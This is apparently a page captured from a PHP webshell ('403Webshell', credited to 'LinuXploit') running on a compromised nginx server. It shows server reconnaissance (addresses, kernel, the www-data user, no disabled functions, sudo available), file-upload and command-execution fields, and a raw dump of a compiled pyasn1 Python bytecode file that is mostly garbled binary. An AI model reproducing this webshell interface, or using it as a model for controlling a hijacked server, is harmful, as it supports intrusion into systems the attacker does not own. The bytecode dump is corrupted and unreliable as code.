403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pyasn1/codec/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pyasn1/codec/__pycache__/streaming.cpython-314.pyc
+
X{�i���x�^RIt^RIt^RIHt^RIHt!RR]P4tRtRt	R
Rlt
RR	ltR#)�N)�error)�univc�a�]tRt^
toRtRtRtRtR]P3Rlt
R
Rlt]R4t
]
PR4t
R	tR
tVtR#)�CachingStreamWrapperaWrapper around non-seekable streams.

Note that the implementation is tied to the decoder,
not checking for dangerous arguments for the sake
of performance.

The read bytes are kept in an internal cache until
setting _markedPosition which may reset the cache.
c�T�Wn\P!4Vn^VnR#�rN)�_raw�io�BytesIO�_cache�_markedPosition)�self�raws&&�8/usr/lib/python3/dist-packages/pyasn1/codec/streaming.py�__init__�CachingStreamWrapper.__init__s���	��j�j�l��� ���c��VPV4pVPP\V4)\P
4V#�N)�readr�seek�len�os�SEEK_CUR)r�n�results&& r�peek�CachingStreamWrapper.peeks2�����1��������#�f�+��r�{�{�3��
rc��R#)T��rs&r�seekable�CachingStreamWrapper.seekable!s��rc�8�VPPW4#r)rr)rr�whences&&&rr�CachingStreamWrapper.seek$s���{�{����*�*rc��VPPV4pVR8wdV\V4,pV'gV#VPPV4pVPP	V4W#,#)����)rrrr	�write)rr�read_from_cache�
read_from_raws&&  rr�CachingStreamWrapper.read(sb���+�+�*�*�1�-����7�
��_�%�%�A��&�&��	�	���q�)�
������-�(��.�.rc��VP#)z�Position where the currently processed element starts.

This is used for back-tracking in SingleItemDecoder.__call__
and (indefLen)ValueDecoder and should not be used for other purposes.
The client is not supposed to ever seek before this position.
)r
r!s&r�markedPosition�#CachingStreamWrapper.markedPosition5s���#�#�#rc���WnVPP4\P8�d=\P
!VPP
44Vn^VnR#R#r)r
r�tellr
�DEFAULT_BUFFER_SIZErr)r�values&&rr/r0?sQ��
 %��
�;�;����� 6� 6�6��*�*�T�[�[�%5�%5�%7�8�D�K�#$�D� �7rc�6�VPP4#r)rr2r!s&rr2�CachingStreamWrapper.tellMs���{�{���!�!r)rr
r	Nr)�r))�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr"r�SEEK_SETrr�propertyr/�setterr2�__static_attributes__�__classdictcell__)�
__classdict__s@rrr
sf�����!�
�
�����+�/��$��$����%��%�"�"rrc��\V\P4'dV#\V\4'd\P!V4#\V\P
4'd%\P!VP
44#VP4'dV#\V4# \d:\P!RTPP,R,4hi;i)a=Convert object to seekable byte-stream.

Parameters
----------
substrate: :py:class:`bytes` or :py:class:`io.IOBase` or :py:class:`univ.OctetString`

Returns
-------
: :py:class:`io.IOBase`

Raises
------
: :py:class:`~pyasn1.error.PyAsn1Error`
    If the supplied substrate cannot be converted to a seekable stream.
zCannot convert z to a seekable bit stream.)�
isinstancer
r�bytesr�OctetString�asOctetsr"r�AttributeErrorr�UnsupportedSubstrateError�	__class__r8)�	substrates&r�asSeekableStreamrLQs��� �)�R�Z�Z�(�(���	�I�u�	%�	%��z�z�)�$�$�	�I�t�/�/�	0�	0��z�z�)�,�,�.�/�/�	*��������'�	�2�2���*��-�-��	� 3� 3� <� <�<�(�
)�*�	*�*�s�B7�*B7�,
B7�7AC;c#�"�\V\P4'djVP4pVP	^\
P4VP4V8HpVP	V\
P4Vx�R#VP^4pVfRx�V'd!VP	R\
P4V'*x�R#5i)z�Check whether we have reached the end of a stream.

Although it is more effective to read and catch exceptions, this
function

Parameters
----------
substrate: :py:class:`IOBase`
    Stream to check

Returns
-------
: :py:class:`bool`
Nr))
rDr
rr2rr�SEEK_ENDr=rr)rK�cpr�receiveds&   r�
isEndOfStreamrQvs�����)�R�Z�Z�(�(�
�^�^�
�����q�"�+�+�&����!�R�'�����r�2�;�;�'����>�>�!�$�������N�N�2�r�{�{�+��l��s�B*C�-+Cc#�8"�\VR4'd6VPV4pVfRx�\V4V8dRx�KVx�R#VP4p\	W4FpVx�K		VPV4R# TPT4i;i5i)aPeek into stream.

Parameters
----------
substrate: :py:class:`IOBase`
    Stream to read from.

size: :py:class:`int`
    How many bytes to peek (-1 = all available)

Returns
-------
: :py:class:`bytes` or :py:class:`str`
    The return type depends on Python major version
rN)�hasattrrrr2�readFromStreamr)rK�sizerP�current_position�chunks&&   r�peekIntoStreamrX�s���� �y�&�!�!��>�>�$�'������(�m�d�"����%�>�>�+��	-�'�	�8����9�
�N�N�+�,��I�N�N�+�,�s�AB�B�1B�B�Bc#�p"�VPV4pVf\P!VR7x�K1V'gV^8wd\P!VR7h\	V4V8dFVP\	V4)\P4\P!VR7x�K�Tx�R#5i)a�Read from the stream.

Parameters
----------
substrate: :py:class:`IOBase`
    Stream to read from.

Keyword parameters
------------------
size: :py:class:`int`
    How many bytes to read (-1 = all available)

context: :py:class:`dict`
    Opaque caller context will be attached to exception objects created
    by this function.

Yields
------
: :py:class:`bytes` or :py:class:`str` or :py:class:`SubstrateUnderrunError`
    Read data or :py:class:`~pyasn1.error.SubstrateUnderrunError`
    object if no `size` bytes is readily available in the stream. The
    data type depends on Python major version

Raises
------
: :py:class:`~pyasn1.error.EndOfStreamError`
    Input stream is exhausted
N)�context)rr�SubstrateUnderrunError�EndOfStreamErrorrrrr)rKrUrZrPs&&& rrTrT�s����:��>�>�$�'�����.�.�w�?�?��d�a�i��(�(��9�9�
��]�T�
!��N�N�C��M�>�2�;�;�7��.�.�w�?�?�
�
�N�s�9B6�A:B6r7)r)N)r
r�pyasn1r�pyasn1.typer�IOBaserrLrQrXrTr rr�<module>r`s=��
�	���A"�2�9�9�A"�H"*�J�B!-�H/r

Youez - 2016 - github.com/yon3zu
LinuXploit